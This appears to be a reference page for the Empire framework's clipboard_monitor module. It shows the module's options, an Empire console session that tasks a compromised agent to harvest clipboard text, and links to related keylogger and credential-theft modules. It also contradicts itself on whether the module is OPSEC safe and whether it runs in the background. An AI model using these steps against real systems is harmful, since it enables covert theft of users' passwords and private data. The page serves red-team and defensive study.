Get-ClipboardContents - Empire Module

This page contains detailed information about how to use the powershell/collection/clipboard_monitor Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: Get-ClipboardContents
Module: powershell/collection/clipboard_monitor
Source code [1]: empire/server/modules/powershell/collection/clipboard_monitor.yaml
Source code [2]: empire/server/data/module_source/collection/Get-ClipboardContents.ps1
MITRE ATT&CK: T1115, T1414
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The clipboard_monitor module monitors the clipboard on a specified interval for changes to copied text.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the clipboard_monitor module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the clipboard_monitor module:

Agent
Agent to run module on.

PollInterval
Interval (in seconds) to check the clipboard for changes, defaults to 15 seconds.
Default value: 15.

Additional Module Options

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This is a list of additional options that are supported by the clipboard_monitor module:

CollectionLimit
Specifies the interval in minutes to capture clipboard text. Defaults to indefinite collection.

Clipboard_monitor Example Usage

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Here's an example of how to use the clipboard_monitor module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/clipboard_monitor

 Author       @harmj0y                                                              
 Background   True                                                                  
 Comments     http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from- 
              powershell/                                                           
 Description  Monitors the clipboard on a specified interval for changes to copied  
              text.                                                                 
 Language     powershell                                                            
 Name         powershell/collection/clipboard_monitor                               
 NeedsAdmin   False                                                                 
 OpsecSafe    True                                                                  
 Techniques   http://attack.mitre.org/techniques/T1115                              
              http://attack.mitre.org/techniques/T1414                              


,Record Options---,-------,----------,-------------------------------------,
| Name            | Value | Required | Description                         |
|-----------------|-------|----------|-------------------------------------|
| Agent           |       | True     | Agent to run module on.             |
|-----------------|-------|----------|-------------------------------------|
| CollectionLimit |       | False    | Specifies the interval in minutes   |
|                 |       |          | to capture clipboard text. Defaults |
|                 |       |          | to indefinite collection.           |
|-----------------|-------|----------|-------------------------------------|
| PollInterval    | 15    | True     | Interval (in seconds) to check the  |
|                 |       |          | clipboard for changes, defaults to  |
|                 |       |          | 15 seconds.                         |
'-----------------'-------'----------'-------------------------------------'

(Empire: usemodule/powershell/collection/clipboard_monitor) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/clipboard_monitor) > set PollInterval 15
[*] Set PollInterval to 15
(Empire: usemodule/powershell/collection/clipboard_monitor) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

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• @harmj0y

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/collection/clipboard_monitor.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/collection/Get-ClipboardContents.ps1
• http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/
• http://attack.mitre.org/techniques/T1115
• http://attack.mitre.org/techniques/T1414

See Also

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Check also the following modules related to this module:

• powershell/collection/get_sql_query
• powershell/collection/SharpLoginPrompt
• powershell/collection/file_finder
• powershell/collection/get_indexed_item
• powershell/collection/ninjacopy
• powershell/collection/FoxDump
• powershell/collection/prompt
• powershell/collection/minidump
• powershell/collection/netripper
• powershell/collection/SauronEye
• powershell/collection/toasted
• powershell/collection/screenshot
• powershell/collection/find_interesting_file
• powershell/collection/inveigh
• powershell/collection/browser_data
• powershell/collection/WireTap
• powershell/collection/WebcamRecorder
• powershell/collection/ChromeDump
• powershell/collection/USBKeylogger
• powershell/collection/get_sql_column_sample_data
• powershell/collection/keylogger
• powershell/collection/get-winupdates
• powershell/collection/packet_capture
• powershell/collection/SharpChromium
• powershell/collection/vaults/remove_keepass_config_trigger
• powershell/collection/vaults/add_keepass_config_trigger
• powershell/collection/vaults/keethief
• powershell/collection/vaults/find_keepass_config
• powershell/collection/vaults/get_keepass_config_trigger
• powershell/situational_awareness/host/monitortcpconnections
• python/collection/osx/clipboard

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.